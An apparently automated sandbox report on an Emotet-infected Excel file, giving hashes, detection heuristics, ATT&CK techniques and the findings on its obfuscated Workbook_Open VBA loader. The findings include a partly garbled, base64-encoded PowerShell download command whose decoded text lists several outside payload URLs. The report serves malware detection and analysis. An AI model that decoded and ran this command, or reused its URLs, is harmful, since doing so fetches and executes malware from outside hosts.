Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 728eaf91800e61c5…

MALICIOUS

Office (OLE) / .XLSX

129.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel
MD5: 07ab21b0e91d67a64149f57e409f5561 SHA-1: bad969942448c4d2a0cdae65bbdcf864a9fc3276 SHA-256: 728eaf91800e61c522db21327695ca9e02b890643f50ae25dd7a8f94d424ebe2
300 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains heavily obfuscated VBA macros, including a Workbook_Open event, which is a common loader for Emotet. The script utilizes `Wscript.Shell` to execute commands and download payloads to temporary locations like 'c:\programdata\yhjlswle.vbs' and 'c:\programdata\ughldskbhn.bat'. The reconstructed command line for the downloaded payload is 'wershell -e nc JABNAEoAWABkAGYAcwBoAEQAcgBmAEcAWgBzAGUAcwA0AD0AIgBoAHQAdABwAHMAOgAvAC8AZgB1AGwAbABuAGUAcwBzAC0AcwBhAGYAZQB0AHkALgBjAG8AbQAvAC0ALwBQADYAeAAvACwAaAB0AHQAcABzADoALwAvAG4AYQBiAGEAagB5AG8AdABpAGYAbwB1AG4AZABhAHQAaQBvAG4ALgBjAG8AbQAvAGQAYQA4AHUAYwA3AGoAbwAvADQAWgBhAC8ALABoAHQAdABwAHMAOgAvAC8AZAB3AHcAbQBhAHMAdABlAHIALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBlAGIASABUAEIANABVAEYAMgAvACwAaAB0AHQAcAA6AC8ALwBmAG8AcgBtAHUAbABhADgAMAAyADAALgBjAG8AbQAvAGMAcwBzAC8ANQA2AEQAegBpADAAUAAvACwAaAB0AHQAcABzADoALwAvAGMAYQBsAGEAZAAtAGYAbwByAG0AYQB0AGkAbwBuAC4AZgByAC8AcgAzAHgAOQA0AHoALwBrAGcAWgA5AE8ARwBDAGkALwAsAGgAdAB0AHAAOgAvAC8AbABpAHM=', which indicates a PowerShell download and execution chain. The presence of multiple download URLs and the Emotet ClamAV signature strongly suggest this family.

Heuristics 7

  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • ClamAV: Doc.Downloader.EmotetRed02220-9938909-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02220-9938909-0
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
7a075e02dc1e88807280b9b84946715e79a3c091d50391301434649c77b78ea1		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 12808 bytes

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